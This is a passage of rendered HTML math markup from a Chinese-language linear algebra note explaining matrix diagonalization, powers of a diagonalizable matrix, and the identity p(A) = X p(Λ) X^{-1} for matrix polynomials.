style="margin-right:0.07847em;">X</span><span class="mord">Λ</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span></span></span></span>，称为矩阵 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi></mrow><annotation encoding="application/x-tex"> A </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span> 的对角化形式。</p><p>因为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>X</mi></mrow><annotation encoding="application/x-tex"> X </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span></span></span></span> 需要可逆，因此需要 A 有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex"> n </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 个线性无关的特征向量。必须满足矩阵 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi></mrow><annotation encoding="application/x-tex"> A </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span> 的特征多项式有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex"> n </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 个不同的根，或者重根的代数重数等于几何重数。</p><p>有了对角化形式后，可以方便地计算矩阵的幂次 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>A</mi><mi>k</mi></msup><mo>=</mo><mi>X</mi><msup><mi mathvariant="normal">Λ</mi><mi>k</mi></msup><msup><mi>X</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup></mrow><annotation encoding="application/x-tex"> A^k = X \Lambda^k X^{-1} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mord"><span class="mord">Λ</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span></span></span></span>，其中 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi mathvariant="normal">Λ</mi><mi>k</mi></msup></mrow><annotation encoding="application/x-tex"> \Lambda^k </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord"><span class="mord">Λ</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span></span></span></span></span></span></span></span> 只需对角线元素取幂。</p><h2 id="矩阵的多项式-对角化与特征值"><a class="markdownIt-Anchor" href="#矩阵的多项式-对角化与特征值"></a> 矩阵的多项式、对角化与特征值</h2><p>对于求矩阵多项式 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi><mo stretchy="false">(</mo><mi>A</mi><mo stretchy="false">)</mo><mo>=</mo><msub><mi>a</mi><mn>0</mn></msub><mi>I</mi><mo>+</mo><msub><mi>a</mi><mn>1</mn></msub><mi>A</mi><mo>+</mo><msub><mi>a</mi><mn>2</mn></msub><msup><mi>A</mi><mn>2</mn></msup><mo>+</mo><mo>…</mo><mo>+</mo><msub><mi>a</mi><mi>k</mi></msub><msup><mi>A</mi><mi>k</mi></msup></mrow><annotation encoding="application/x-tex"> p(A) = a_0 I + a_1 A + a_2 A^2 + \ldots + a_k A^k </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">p</span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.9641em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.9991em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span></span></span></span></span></span></span></span>，如果知道矩阵 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi></mrow><annotation encoding="application/x-tex"> A </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span> 可以对角化，可以简化计算。</p><p>设 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi><mo>=</mo><mi>X</mi><mi mathvariant="normal">Λ</mi><msup><mi>X</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup></mrow><annotation encoding="application/x-tex"> A = X \Lambda X^{-1} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mord">Λ</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span></span></span></span>， 则有</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>p</mi><mo stretchy="false">(</mo><mi>A</mi><mo stretchy="false">)</mo><mo>=</mo><msub><mi>a</mi><mn>0</mn></msub><mi>I</mi><mo>+</mo><msub><mi>a</mi><mn>1</mn></msub><mo stretchy="false">(</mo><mi>X</mi><mi mathvariant="normal">Λ</mi><msup><mi>X</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup><mo stretchy="false">)</mo><mo>+</mo><msub><mi>a</mi><mn>2</mn></msub><mo stretchy="false">(</mo><mi>X</mi><mi mathvariant="normal">Λ</mi><msup><mi>X</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup><msup><mo stretchy="false">)</mo><mn>2</mn></msup><mo>+</mo><mo>…</mo><mo>+</mo><msub><mi>a</mi><mi>k</mi></msub><mo stretchy="false">(</mo><mi>X</mi><mi mathvariant="normal">Λ</mi><msup><mi>X</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup><msup><mo stretchy="false">)</mo><mi>k</mi></msup></mrow><annotation encoding="application/x-tex">p(A) = a_0 I + a_1 (X \Lambda X^{-1}) + a_2 (X \Lambda X^{-1})^2 + \ldots + a_k (X \Lambda X^{-1})^k </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">p</span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.1141em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mord">Λ</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.1141em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mord">Λ</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.1491em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mord">Λ</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8991em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span></span></span></span></span></span></span></span></span></p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mo>=</mo><msub><mi>a</mi><mn>0</mn></msub><mi>I</mi><mo>+</mo><msub><mi>a</mi><mn>1</mn></msub><mi>X</mi><mi mathvariant="normal">Λ</mi><msup><mi>X</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup><mo>+</mo><msub><mi>a</mi><mn>2</mn></msub><mi>X</mi><msup><mi mathvariant="normal">Λ</mi><mn>2</mn></msup><msup><mi>X</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup><mo>+</mo><mo>…</mo><mo>+</mo><msub><mi>a</mi><mi>k</mi></msub><mi>X</mi><msup><mi mathvariant="normal">Λ</mi><mi>k</mi></msup><msup><mi>X</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup></mrow><annotation encoding="application/x-tex">= a_0 I + a_1 X \Lambda X^{-1} + a_2 X \Lambda^2 X^{-1} + \ldots + a_k X \Lambda^k X^{-1} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.3669em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.0141em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mord">Λ</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.0141em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mord"><span class="mord">Λ</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.0491em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mord"><span class="mord">Λ</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8991em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span></span></span></span></span></p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mo>=</mo><mi>X</mi><mo stretchy="false">(</mo><msub><mi>a</mi><mn>0</mn></msub><mi>I</mi><mo>+</mo><msub><mi>a</mi><mn>1</mn></msub><mi mathvariant="normal">Λ</mi><mo>+</mo><msub><mi>a</mi><mn>2</mn></msub><msup><mi mathvariant="normal">Λ</mi><mn>2</mn></msup><mo>+</mo><mo>…</mo><mo>+</mo><msub><mi>a</mi><mi>k</mi></msub><msup><mi mathvariant="normal">Λ</mi><mi>k</mi></msup><mo stretchy="false">)</mo><msup><mi>X</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup></mrow><annotation encoding="application/x-tex">= X (a_0 I + a_1 \Lambda + a_2 \Lambda^2 + \ldots + a_k \Lambda^k) X^{-1} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.3669em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">Λ</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.0141em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord">Λ</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.1491em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord">Λ</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8991em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span></span></span></span></span><span class="mclose">)</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span></span></span></span></span></p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mo>=</mo><mi>X</mi><mi>p</mi><mo stretchy="false">(</mo><mi mathvariant="normal">Λ</mi><mo stretchy="false">)</mo><msup><mi>X</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup></mrow><annotation encoding="application/x-tex">= X p(\Lambda) X^{-1} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.3669em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.1141em;vertical-align:-0.25em;"></span><span class="mord mathnormal">Xp</span><span class="mopen">(</span><span class="mord">Λ</span><span class="mclose">)</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t"><span 